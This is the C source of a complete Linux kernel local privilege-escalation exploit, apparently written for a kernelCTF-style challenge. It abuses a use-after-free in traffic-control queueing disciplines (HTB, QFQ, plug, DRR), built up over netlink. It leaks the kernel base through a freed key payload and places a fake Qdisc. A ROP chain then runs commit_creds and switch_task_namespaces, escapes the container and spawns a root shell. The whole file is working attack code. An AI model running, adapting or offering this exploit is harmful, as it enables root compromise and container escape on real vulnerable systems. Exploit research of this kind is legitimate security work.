#define _GNU_SOURCE

#include <arpa/inet.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <time.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <assert.h>
#include <sys/inotify.h>

#include <linux/pkt_cls.h>

#include <netlink/cli/utils.h>
#include <netlink/cli/tc.h>
#include <netlink/cli/class.h>
#include <netlink/cli/cls.h>
#include <netlink/cli/qdisc.h>
#include <netlink/cli/addr.h>
#include <netlink/cli/link.h>
#include <netlink/cli/route.h>
#include <netlink/route/tc.h>
#include <netlink/route/qdisc/htb.h>
#include <netlink/route/qdisc/plug.h>

#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <linux/route.h>
#include <keyutils.h>
#include <sys/xattr.h>
#include <err.h>
#include <sys/timerfd.h>
#include <sys/epoll.h>
#include <sys/eventfd.h>
#include <pthread.h>
#include <linux/if_packet.h>

#include "kernelver_17162.210.48.h"

static char *g_mmapped_buf;
static uint64_t g_kernel_text;
static char g_leak_buf[0x10000];

int setup_namespaces()
{
        char *uid_map;
        char *gid_map;
        int ret, map;
        uid_t uid = getuid();
        uid_t gid = getgid();

        if (unshare(CLONE_NEWUSER|CLONE_NEWNET|CLONE_NEWNS)) {
                perror("unshare");
                exit(1);
        }

        map = open("/proc/self/setgroups", O_WRONLY);
        ret = write(map, "deny", 4);

        if (ret < 4) {
                perror("setgroups write");
                exit(1);
        }

        close(map);

        asprintf(&uid_map, "0 %d 1\n", uid);
        size_t len = strlen(uid_map);

        map = open("/proc/self/uid_map", O_WRONLY);
        
        ret = write(map, uid_map, len);

        if (ret < len) {
                perror("uid map write");
                exit(1);
        }
        close(map);

        asprintf(&gid_map, "0 %d 1\n", gid);
        map = open("/proc/self/gid_map", O_WRONLY);
        ret = write(map, gid_map, len);

        if (ret < len) {
                perror("gid map write");
                exit(1);
        }

        close(map);

        if (mount("tmpfs", "/tmp", "tmpfs", 0, NULL)) {
                perror("mount");
                exit(1);
        }

}

void enable_dynamic_debug(char *spec)
{
        FILE *f = fopen("/sys/kernel/debug/dynamic_debug/control", "w");
        
        if (!f) {
                perror("fopen dynamic debug");
                return;
        }

        fwrite(spec, strlen(spec), 1, f);
        fclose(f);
}


void set_cpu(int cpu)
{
        cpu_set_t cpus;
        CPU_ZERO(&cpus);      
        CPU_SET(cpu, &cpus);     
        if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) {
                perror("setaffinity");
                exit(1);
        }
}

void get_kctf_flag()
{
        char buf[512];


        int fd = open("/flag", O_RDONLY);

        if (fd < 0)
                return;

        size_t n = read(fd, buf, sizeof(buf));
        if (n > 0) {
                printf("Flag:\n");

                write(1, buf, n);

                printf("\n");
        }

        close(fd);
}

static char *g_sh_argv[] = {"sh", NULL};

static int g_status;

#define MMAP_SIZE 0x8000
#define XATTR_HEAD_SIZE 0x20
#define KEY_HEAD_SIZE 0x18
#define QDISC_OFFS_OPS 0x18

static int g_pwned;

void __attribute__((naked)) after_pwn()
{
// Fix user stack since we didn't do when returning from kernel mode
        asm volatile(
                "mov %0, %%rsp\n"
                :: "r" (g_mmapped_buf + MMAP_SIZE - 0x100)
        );
        
        g_pwned = 1;


        set_cpu(1);

        if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0)
                perror("setns");

        setns(open("/proc/1/ns/pid", O_RDONLY), 0);
        setns(open("/proc/1/ns/net", O_RDONLY), 0);

        printf("\nGot root!!!\n");
        printf("Getting kctf flags ...\n");

        get_kctf_flag();

        printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n");
        execve("/bin/sh", g_sh_argv, NULL);

       

        printf("Shell exited, sleeping for 30 seconds, after that system might crash\n");

        sleep(30);
        _exit(0);
}

uint64_t kaddr(uint64_t addr)
{
        return g_kernel_text + addr - 0xffffffff81000000uL;
}

/* Netlink code based on syzcaller generated snippets */
struct nlmsg {
        char* pos;
        int nesting;
        struct nlattr* nested[8];
        char buf[0x30000];
};

static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
                         const void* data, int size)
{
        memset(nlmsg, 0, sizeof(*nlmsg));
        struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
        hdr->nlmsg_type = typ;
        hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
        memcpy(hdr + 1, data, size);
        nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}

static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
                         int size)
{
        struct nlattr* attr = (struct nlattr*)nlmsg->pos;
        //        printf("attr size: %d\n", size);

        attr->nla_len = sizeof(*attr) + size;

        if (nlmsg->pos - nlmsg->buf + attr->nla_len  > sizeof(nlmsg->buf))
                errx(1, "Netlink buffer overflow, increase size in struct nlmsg\n");

        attr->nla_type = typ;
        if (size > 0)
                memcpy(attr + 1, data, size);
        nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}

static void netlink_nest(struct nlmsg* nlmsg, int typ)
{
        struct nlattr* attr = (struct nlattr*)nlmsg->pos;
        attr->nla_type = typ | NLA_F_NESTED;
        nlmsg->pos += sizeof(*attr);
        nlmsg->nested[nlmsg->nesting++] = attr;
}

static void netlink_done(struct nlmsg* nlmsg)
{
        struct nlattr* attr = nlmsg->nested[--nlmsg->nesting];

        if (nlmsg->pos - (char *) attr > 0xffff)
                errx(1, "Netlink attribute max size exceeded\n");

        attr->nla_len = nlmsg->pos - (char*)attr;
}

static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
                            int* reply_len, bool dofail)
{
        if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
                err(1, "netlink_send_ext error");

        struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
        hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;

        struct sockaddr_nl addr;
        memset(&addr, 0, sizeof(addr));
        addr.nl_family = AF_NETLINK;

        ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
                     (struct sockaddr*)&addr, sizeof(addr));

        if (n != (ssize_t)hdr->nlmsg_len) {
                if (dofail)
                        err(1, "netlink_send_ext error");
                return -1;
        }

        n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
        if (reply_len)
                *reply_len = 0;

        if (n < 0) {
                if (dofail)
                        err(1, "netlink_send_ext error");
                return -1;
        }
        if (n < (ssize_t)sizeof(struct nlmsghdr)) {
                errno = EINVAL;
                if (dofail)
                        err(1, "netlink_send_ext error");
                return -1;
        }
        if (hdr->nlmsg_type == NLMSG_DONE)
                return 0;

        if (reply_len && hdr->nlmsg_type == reply_type) {
                *reply_len = n;
                return 0;
        }
        if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) {
                errno = EINVAL;
                if (dofail)
                        err(1, "netlink_send_ext error");
               return -1;
        }
        if (hdr->nlmsg_type != NLMSG_ERROR) {
                errno = EINVAL;
                if (dofail)
                        err(1, "netlink_send_ext error");
                return -1;
        }

        errno = -((struct nlmsgerr*)(hdr + 1))->error;
        return -errno;
}

static int netlink_send(struct nlmsg* nlmsg, int sock)
{
        return netlink_send_ext(nlmsg, sock, 0, NULL, false);
}

/* End of syzkaller code */


static struct nlmsg nlmsg;
struct nl_cache *g_link_cache;
static struct nl_sock *g_nl_sock;

static void netlink_device_change(struct nlmsg* nlmsg, int sock,
                                  const char* name, bool up, const char* master,
                                  const void* mac, int macsize,
                                  const char* new_name)
{
        struct ifinfomsg hdr;
        memset(&hdr, 0, sizeof(hdr));

        if (up)
                hdr.ifi_flags = hdr.ifi_change = IFF_UP;

        hdr.ifi_index = if_nametoindex(name);

        netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));

        if (new_name)
                netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));

        if (master) {
                int ifindex = if_nametoindex(master);
                netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
        }

        if (macsize)
                netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);

        netlink_send(nlmsg, sock);
}

static void setup_network(char *link_name)
{
        int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sock == -1)
                exit(1);

        netlink_device_change(&nlmsg, sock, "lo", true, 0, NULL, 0, link_name);

        close(sock);

        g_nl_sock = nl_cli_alloc_socket();
        nl_cli_connect(g_nl_sock, NETLINK_ROUTE);
        g_link_cache = nl_cli_link_alloc_cache(g_nl_sock);
}

void add_drr(uint32_t handle, uint32_t parent)
{
        struct tcmsg hdr;
        struct nlmsg nlmsg;

        int flags = NLM_F_CREATE | NLM_F_EXCL;

        memset(&hdr, 0, sizeof(hdr));

        hdr.tcm_family = AF_UNSPEC;
        hdr.tcm_ifindex = 1;
        
        if (parent)
                hdr.tcm_parent = parent;
        else
                hdr.tcm_parent = TC_H_ROOT;
        hdr.tcm_handle = handle;

        netlink_init(&nlmsg, RTM_NEWQDISC, flags, &hdr, sizeof(hdr));

        char kind[] = "drr";
        netlink_attr(&nlmsg, TCA_KIND, &kind, sizeof(kind));
        char pad[0x200];
        memset(pad, 'A', sizeof(pad));
        netlink_attr(&nlmsg, TCA_PAD, &pad, sizeof(pad));

        int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sock == -1) {
                perror("netlink sock");
                exit(1);
        }

        netlink_nest(&nlmsg, TCA_OPTIONS);


        netlink_done(&nlmsg);
        int ret = netlink_send(&nlmsg, sock);

        if (ret)
                err(2, "drr create: %d", ret);
        close(sock);
}


void add_qdisc_plug(uint32_t handle, uint32_t parent, uint32_t limit)
{
	struct rtnl_qdisc *qdisc;
	struct rtnl_tc *tc;
	int err, flags = 0;
	char *kind, *id = NULL;

        flags = NLM_F_CREATE | NLM_F_EXCL | NLM_F_REPLACE;

	qdisc = nl_cli_qdisc_alloc();
	tc = (struct rtnl_tc *) qdisc;

        nl_cli_tc_parse_dev(tc, g_link_cache, "lo");

        if (parent)
                rtnl_tc_set_parent(tc, parent);
        else
                nl_cli_tc_parse_parent(tc, "root");

        if (!rtnl_tc_get_ifindex(tc))
                nl_cli_fatal(EINVAL, "You must specify a network device (--dev=XXX)");

        if (!rtnl_tc_get_parent(tc))
                nl_cli_fatal(EINVAL, "You must specify a parent");


        rtnl_tc_set_handle(tc, handle);

	rtnl_tc_set_kind(tc, "plug");


        rtnl_qdisc_plug_set_limit(qdisc, limit);

        if ((err = rtnl_qdisc_add(g_nl_sock, qdisc, flags)) < 0)
                nl_cli_fatal(EINVAL, "Unable to add qdisc: %s", nl_geterror(err));

}


void add_class_qfq(uint32_t handle, uint32_t parent, uint32_t weight, uint32_t lmax)
{
        struct tcmsg hdr;
        struct nlmsg nlmsg;

        int flags = 0;

        flags = NLM_F_CREATE | NLM_F_EXCL;

        memset(&hdr, 0, sizeof(hdr));

        hdr.tcm_family = AF_UNSPEC;
        hdr.tcm_ifindex = 1;
        
        if (parent)
                hdr.tcm_parent = parent;
        else
                hdr.tcm_parent = TC_H_MAJ(handle);

        hdr.tcm_handle = handle;

        netlink_init(&nlmsg, RTM_NEWTCLASS, flags, &hdr, sizeof(hdr));

        int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sock == -1) {
                perror("netlink sock");
                exit(1);
        }

        netlink_nest(&nlmsg, TCA_OPTIONS);

        netlink_attr(&nlmsg, TCA_QFQ_WEIGHT, &weight, sizeof(weight));

        if (lmax)
                netlink_attr(&nlmsg, TCA_QFQ_LMAX, &lmax, sizeof(lmax));

        netlink_done(&nlmsg);
        int ret = netlink_send(&nlmsg, sock);

        if (ret)
                err(2, "qfq create class: %d", ret);
        close(sock);
}

void add_qfq(uint32_t handle, uint32_t parent)
{
        struct tcmsg hdr;
        struct nlmsg nlmsg;

        int flags = NLM_F_CREATE | NLM_F_EXCL;

        memset(&hdr, 0, sizeof(hdr));

        hdr.tcm_family = AF_UNSPEC;
        hdr.tcm_ifindex = 1;
        
        if (parent)
                hdr.tcm_parent = parent;
        else
                hdr.tcm_parent = TC_H_ROOT;
        hdr.tcm_handle = handle;

        netlink_init(&nlmsg, RTM_NEWQDISC, flags, &hdr, sizeof(hdr));

        char kind[] = "qfq";
        netlink_attr(&nlmsg, TCA_KIND, &kind, sizeof(kind));

        int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sock == -1) {
                perror("netlink sock");
                exit(1);
        }

        netlink_nest(&nlmsg, TCA_OPTIONS);


        netlink_done(&nlmsg);
        int ret = netlink_send(&nlmsg, sock);

        if (ret)
                err(2, "qfq create: %d", ret);
        close(sock);
}

void add_basic_filter(int prio, uint32_t parent, uint32_t chain, uint32_t handle, uint32_t target)
{
        struct tcmsg hdr;
        struct nlmsg nlmsg;

        int flags = NLM_F_CREATE | NLM_F_EXCL;

        memset(&hdr, 0, sizeof(hdr));

        hdr.tcm_family = AF_UNSPEC;
        hdr.tcm_ifindex = 1;
        hdr.tcm_parent = parent;
        hdr.tcm_handle = handle;

        hdr.tcm_info = TC_H_MAKE(prio << 16, htons(ETH_P_ALL));

        netlink_init(&nlmsg, RTM_NEWTFILTER, flags, &hdr, sizeof(hdr));

        netlink_attr(&nlmsg, TCA_CHAIN, &chain, sizeof(chain));
        char kind[] = "basic";
        netlink_attr(&nlmsg, TCA_KIND, &kind, sizeof(kind));

        int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sock == -1) {
                perror("netlink sock");
                exit(1);
        }

        netlink_nest(&nlmsg, TCA_OPTIONS);

        uint32_t class_id = target;
        netlink_attr(&nlmsg, TCA_BASIC_CLASSID, &class_id, sizeof(class_id));

        netlink_done(&nlmsg);
        int err = netlink_send(&nlmsg, sock);

        close(sock);
}

void add_qdisc_htb(uint32_t handle, uint32_t parent, uint32_t default_class)
{
	struct rtnl_qdisc *qdisc;
	struct rtnl_tc *tc;
	int err, flags = 0;
	char *kind, *id = NULL;

        flags = NLM_F_CREATE | NLM_F_EXCL | NLM_F_REPLACE;

	qdisc = nl_cli_qdisc_alloc();
	tc = (struct rtnl_tc *) qdisc;

        nl_cli_tc_parse_dev(tc, g_link_cache, "lo");

        if (parent)
                rtnl_tc_set_parent(tc, parent);
        else
                nl_cli_tc_parse_parent(tc, "root");

        if (!rtnl_tc_get_ifindex(tc))
                nl_cli_fatal(EINVAL, "You must specify a network device (--dev=XXX)");

        if (!rtnl_tc_get_parent(tc))
                nl_cli_fatal(EINVAL, "You must specify a parent");


        rtnl_tc_set_handle(tc, handle);

	rtnl_tc_set_kind(tc, "htb");
        if (default_class)
                rtnl_htb_set_defcls(qdisc, default_class);


        if ((err = rtnl_qdisc_add(g_nl_sock, qdisc, flags)) < 0)
                nl_cli_fatal(EINVAL, "Unable to add qdisc: %s", nl_geterror(err));

}

void add_class_htb(int clid, uint32_t parent)
{
        struct rtnl_class *class;
        struct rtnl_tc *tc;
        struct nl_cli_tc_module *tm;
        int err, flags = NLM_F_CREATE | NLM_F_EXCL;

        class = nl_cli_class_alloc();
        tc = (struct rtnl_tc *) class;

        nl_cli_tc_parse_dev(tc, g_link_cache, "lo");

        

        if (parent)
                rtnl_tc_set_parent(tc, parent);
        else
                rtnl_tc_set_parent(tc, TC_H_MAJ(clid));

        rtnl_tc_set_kind(tc, "htb");

        rtnl_htb_set_rate(class, 2000000);
        rtnl_tc_set_handle(tc, clid);

        if ((err = rtnl_class_add(g_nl_sock, class, flags)) < 0)
                nl_cli_fatal(EINVAL, "Unable to add class: %s", nl_geterror(err));

}



static char *g_rop2;
#define ROP2_CONST_AREA 0x10
#define ROP2_CONST_OFFSET 0x200


void rop_rax2rdi(uint64_t **rop_p)
{
        uint64_t *rop = *rop_p;

        *(uint64_t *) (g_rop2+ROP2_CONST_OFFSET) = kaddr(POP_RDI); // RCX == RW_BUFFER 

// rax -> rdi
        *rop++ = kaddr(POP_RCX);
        *rop++ = kaddr(RW_BUFFER+ROP2_CONST_OFFSET); 
        *rop++ = kaddr(PUSH_RAX_JMP_QWORD_RCX);

        *rop_p = rop;
}

size_t prepare_rop2(uint64_t *rop2)
{
        uint64_t *rop2_start = rop2;

        *rop2++ = kaddr(POP_RDI);
        *rop2++ = kaddr(INIT_CRED);
        *rop2++ = kaddr(COMMIT_CREDS);

        // Namespace escape based on code by Crusaders of Rust
        *rop2++ = kaddr(POP_RDI);
        *rop2++ = 1;
        *rop2++ = kaddr(FIND_TASK_BY_VPID);

        rop_rax2rdi(&rop2); // clobbers RCX

        *rop2++ = kaddr(POP_RSI);
        *rop2++ = kaddr(INIT_NSPROXY);

        *rop2++ = kaddr(SWITCH_TASK_NAMESPACES);

        *rop2++ = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX);
// eflags
        *rop2++ = 0;

        rop2 += 6;

// Userspace RIP
        *rop2++ = (uint64_t) after_pwn;

        *rop2++ = kaddr(RETURN_VIA_SYSRET);

        return (char *) rop2 - (char *) rop2_start;
}

void prepare_fake_qdisc(char *buf)
{
/*
        lea rdi, [rax + 0x20]
        mov rax, qword ptr [rax + 0x30]
        jmp __x86_indirect_thunk_rax
*/
        uint64_t g1 = kaddr(G1);

// push rdi ; jmp qword [rsi+0x0F]
        uint64_t g2 = kaddr(PUSH_RDI_JMP_QWORD_RSI_0F);

        *(uint64_t *) (buf) = g1;
        *(uint64_t *) (buf + 0xF) = kaddr(POP_RSP);
        *(uint64_t *) (buf + 0x30) = g2;
        uint64_t *rop = (uint64_t *) (buf+0x20);


#define ROP2_MMAP_SIZE 0x4000
        g_rop2 = mmap(NULL, ROP2_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0);
        if (g_rop2 == MAP_FAILED)
                err(1, "mmap");

        size_t rop2_len = prepare_rop2((uint64_t *) g_rop2);
        
        if (rop2_len > ROP2_CONST_OFFSET)
                err(1, "Stage 2 ROP size too big: %d > %d\n", rop2_len, ROP2_CONST_OFFSET);

        *rop++ = kaddr(POP_RSI_RDX_RCX);
        *rop++ = (uint64_t) g_rop2;
// jump over 0x30/g2
        rop += 2;

        *rop++ = kaddr(POP_RDX_RDI);
        *rop++ = ROP2_CONST_OFFSET + ROP2_CONST_AREA;
        *rop++ = kaddr(RW_BUFFER);

        *rop++ = kaddr(COPY_USER_GENERIC_STRING);

        *rop++ = kaddr(POP_RSP);
        *rop++ = kaddr(RW_BUFFER);
        *rop++ = kaddr(POP_RDI+1); // ret
}

int prepare_netlink_listener(unsigned int port_id)
{
        int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK);
        if (sock == -1) {
                err(1, "socket netlink\n");
        }
        struct sockaddr_nl addr;
        memset(&addr, 0, sizeof(addr));
        addr.nl_family = AF_NETLINK;
        addr.nl_pid = port_id;
        if (bind(sock, (struct sockaddr*)&addr, sizeof(addr)))
                err(1, "bind netlink fail\n");

        return sock;
}

void free_netlink(int sock)
{
        recv(sock, g_mmapped_buf, MMAP_SIZE, 0);
        close(sock);
}

int alloc_netlink(size_t len, char *buf)
{
        static unsigned int port_id = 0x6666;

        if (len <= 0x140)
                err(1, "alloc_netlink: len too small\n");

        int listener_sock = prepare_netlink_listener(port_id);

        int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK);
        if (sock == -1) {
                err(1, "socket netlink\n");
        }
        struct sockaddr_nl addr;
        memset(&addr, 0, sizeof(addr));
        addr.nl_family = AF_NETLINK;
        addr.nl_pid = port_id++;

        ssize_t n = sendto(sock, buf, len - 0x140, MSG_DONTWAIT, (struct sockaddr*)&addr, sizeof(addr));

        if (n < 0)
                err(1, "sendto netlink\n");

        return listener_sock;
}

int alloc_xattr_fd_attr(int fd, char *attr, size_t size, void *buf)
{
        int res = fsetxattr(fd, attr, buf, size - XATTR_HEAD_SIZE, XATTR_CREATE);
        if (res < 0) {
                err(1, "fsetxattr");
        }

        return fd;
}

int alloc_xattr_fd(int fd, unsigned int id, size_t size, void *buf)
{
        char *attr;

        asprintf(&attr, "security.%d", id);
        alloc_xattr_fd_attr(fd, attr, size, buf);

        return fd;
}

void free_xattr_fd(int fd, int id)
{
        char *attr;

        asprintf(&attr, "security.%d", id);

        fremovexattr(fd, attr);
}

int alloc_xattr(unsigned int id, size_t size, void *buf)
{
        int fd;
        char *fname;

        asprintf(&fname, "/tmp/xattr%d", id);
        fd = open(fname, O_RDWR|O_CREAT);
        if (fd < 0)
                err(1, "open xattr");
        
        alloc_xattr_fd_attr(fd, "security.attr", size, buf);

        return fd;
}


int setup_packetsock()
{
        int ret;
        int sock = socket(AF_PACKET, SOCK_RAW, htons(0x1234));

        if (sock < 0) {
                perror("socket");
                exit(1);
        }

        struct sockaddr_ll my_addr;
        struct ifreq s_ifr;

        strcpy(s_ifr.ifr_name, "lo");

        ioctl(sock, SIOCGIFINDEX, &s_ifr);

/* fill sockaddr_ll struct to prepare binding */
        my_addr.sll_family = AF_PACKET;
        my_addr.sll_protocol = htons(0x1234);
        my_addr.sll_ifindex =  s_ifr.ifr_ifindex;
        my_addr.sll_halen = ETH_ALEN;

        char dstaddr[ETH_ALEN] = {0xff,0xff,0xff,0xff,0xff,0xff};
        memcpy(&my_addr.sll_addr, dstaddr, ETH_ALEN);
        
/* bind socket to eth0 */
        ret = bind(sock, (struct sockaddr *)&my_addr, sizeof(struct sockaddr_ll));
        if (ret < 0) {
                perror("bind");
                exit(1);
        }

        return sock;
}

void add_u32_filter(uint32_t parent, uint32_t chain, uint32_t handle, uint32_t target)
{
        struct tcmsg hdr;
        struct nlmsg nlmsg;
        int prio = 1;

        int flags = NLM_F_CREATE | NLM_F_EXCL;

        memset(&hdr, 0, sizeof(hdr));

        hdr.tcm_family = AF_UNSPEC;
        hdr.tcm_ifindex = 1;
        hdr.tcm_parent = parent;
        hdr.tcm_handle = handle;

        hdr.tcm_info = TC_H_MAKE(prio << 16, htons(ETH_P_ALL));

        netlink_init(&nlmsg, RTM_NEWTFILTER, flags, &hdr, sizeof(hdr));

        netlink_attr(&nlmsg, TCA_CHAIN, &chain, sizeof(chain));
        char kind[] = "u32";
        netlink_attr(&nlmsg, TCA_KIND, &kind, sizeof(kind));

        int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sock == -1) {
                perror("netlink sock");
                exit(1);
        }

        netlink_nest(&nlmsg, TCA_OPTIONS);

        static char buf[512];
        memset(buf, 0, sizeof(buf));
        struct tc_u32_sel *sel = (struct tc_u32_sel *) buf;
        sel->flags = TC_U32_TERMINAL;
        sel->nkeys = 1;

        sel->keys[0].off = 0x28;
        sel->keys[0].mask = 0xffffffff;
        sel->keys[0].val = target;

        netlink_attr(&nlmsg, TCA_U32_SEL, sel, sizeof(*sel) + sizeof(struct tc_u32_key));

        if (target) {
                uint32_t class_id = target;
                netlink_attr(&nlmsg, TCA_U32_CLASSID, &class_id, sizeof(class_id));
        }

        netlink_done(&nlmsg);
        int err = netlink_send(&nlmsg, sock);

        close(sock);
}

void send_packet(unsigned int dport, unsigned int target_class)
{
        int ret, sock;
        struct sockaddr_in client_addr;

        sock = socket(AF_INET, SOCK_DGRAM, 0);


        if (sock < 0)
                err(1, "socket normal");

        memset(&client_addr, 0, sizeof(client_addr));

        client_addr.sin_family = AF_INET;
        client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        client_addr.sin_port = htons(dport);

        struct msghdr hdr;
        memset(&hdr, 0, sizeof(hdr));

        char buf[64];
        memset(buf, 'A', sizeof(buf));

        *(uint32_t *) (buf+12) = target_class;

        struct iovec  iov[1];
        iov[0].iov_base = buf;
        iov[0].iov_len = sizeof(buf);

        hdr.msg_iov = iov;
        hdr.msg_iovlen = 1;
        hdr.msg_name = &client_addr;
        hdr.msg_namelen = sizeof(client_addr);

        
        ret = sendmsg(sock, &hdr, 0);
        if (ret < 0)
                err(1, "sendmsg normal");

}

key_serial_t alloc_key(int id, size_t len, char *buf)
{
        key_serial_t serial;
        char desc[256];
        len -= 24;

        snprintf(desc, sizeof(desc), "k%d", id);

        serial = syscall(SYS_add_key, "user", desc, buf, len, KEY_SPEC_PROCESS_KEYRING);

        if (serial < 0) {
                perror("key add");
                exit(0);
        }

        return serial;
}

void free_key(key_serial_t key)
{
        long ret = syscall(SYS_keyctl, KEYCTL_UNLINK, key, KEY_SPEC_PROCESS_KEYRING);
        if (ret < 0) {
                perror("key unlink");
                exit(1);
        }

}


int main(int argc, char **argv)
{
        int ret;

        setbuf(stdout, NULL);

        setup_namespaces();

        g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0);
        if (g_mmapped_buf == MAP_FAILED) {
                perror("mmap");
                return 1;
        }

        memset(g_mmapped_buf, 0, MMAP_SIZE);

        set_cpu(0);

        setup_network(NULL);

        int xattr_fd = open("/tmp/x", O_RDWR|O_CREAT);
        if (xattr_fd < 0)
                err(1, "xattr open\n");

#define QDISC_CNT 18        
#define XATTR_CNT 16*20
#define NETLINK_CNT 400

// Prepare some heap objects to be able to free them later
        int xattrs[XATTR_CNT];
        for (int i = 0; i < XATTR_CNT; i++)
        {
                xattrs[i] = alloc_xattr_fd(xattr_fd, i, 260, g_mmapped_buf);
        }

        int netlinks[QDISC_CNT];
        for (int i = 0; i < QDISC_CNT; i++)
        {
                netlinks[i] = alloc_netlink(0x1000, g_mmapped_buf);
        }

// Setup qdiscs
        add_qdisc_htb(0x10000, 0, 0x10001);
        add_class_htb(0x10001, 0x10000);

        for (int i = 0; i < QDISC_CNT; i++)
        {
                add_class_htb(0x10003 + i, 0x10000);
        }


        for (int i = 0; i < QDISC_CNT; i++)
        {
                add_u32_filter(0x10000, 0, 10+i, 0x10003 + i);
        }


        add_qfq(0x20000, 0x10001);

        add_class_qfq(0x20001, 0x20000, 1, 512);
        add_basic_filter(1, 0x20000, 0, 0, 0x20001);
        add_qdisc_plug(0x30000, 0x20001, 0x100000);

        int packet_sock = setup_packetsock();
        char buf[0x30];

// Unhandled proto, packet is dropped and skb is freed
        ret = send(packet_sock, buf, sizeof(buf),  MSG_DONTWAIT);

        key_serial_t key1 = alloc_key(1, 260, g_mmapped_buf);

        set_cpu(1);

// Allocates new skb on different cpu, but dequeues old packet triggering free on key payload
        ret = send(packet_sock, buf, sizeof(buf),  MSG_DONTWAIT);

        set_cpu(0);

// Fill the free list with skbs to protect our target skb in the next step
        for (int i = 0; i < QDISC_CNT; i++)
        {
                free_netlink(netlinks[i]);
        }

// Allocate struct Qdisc in place of freed key payload
        for (int i = 0; i < QDISC_CNT; i++)
        {
                add_drr(0x50000 + 0x10000 * i, 0x10003 + i);
        }

        ret = syscall(SYS_keyctl, KEYCTL_READ, key1, g_leak_buf, sizeof(g_leak_buf));

        uint64_t ops_leak = *(uint64_t *) (g_leak_buf - KEY_HEAD_SIZE + QDISC_OFFS_OPS);

        if (!ops_leak || (ops_leak >> 32) != 0xffffffff)
                err(1, "Leak failed, try again!");

        g_kernel_text = 0xffffffff81000000 + (ops_leak - DRR_QDISC_OPS);

        printf("Leaked kernel text: 0x%lx\n", g_kernel_text);

// Free struct Qdisc
        free_key(key1);

// @sleep(kernel_func="user_destroy",
//       desc="wait for the key payload to be freed by GC")
        sleep(2);

// Increase number of cpu partial slabs to move frozen slab to per node partial list
        for (int i = 0; i < XATTR_CNT; i++)
        {               
                if ((i % 4) == 0)
                        free_xattr_fd(xattr_fd, i);
        }

        set_cpu(1);

        prepare_fake_qdisc(g_mmapped_buf);

// We need to do a lot of allocations to reach per node partial list
        for (int i = 0; i < 256; i++)
        {
                alloc_netlink(512, g_mmapped_buf);
        }

// Trigger code execution by calling enqueue() on every Qdisc
        for (int i = 0; i < QDISC_CNT; i++)
        {
                send_packet(0x2000, 0x10003 + i);
        }

        if (!g_pwned) {
                printf("Failed to trigger vuln, try again!\n");
                _exit(0);
        }

// Can't exit, everything might crash
        while (1) 
                sleep(1000);

        return 0;
}
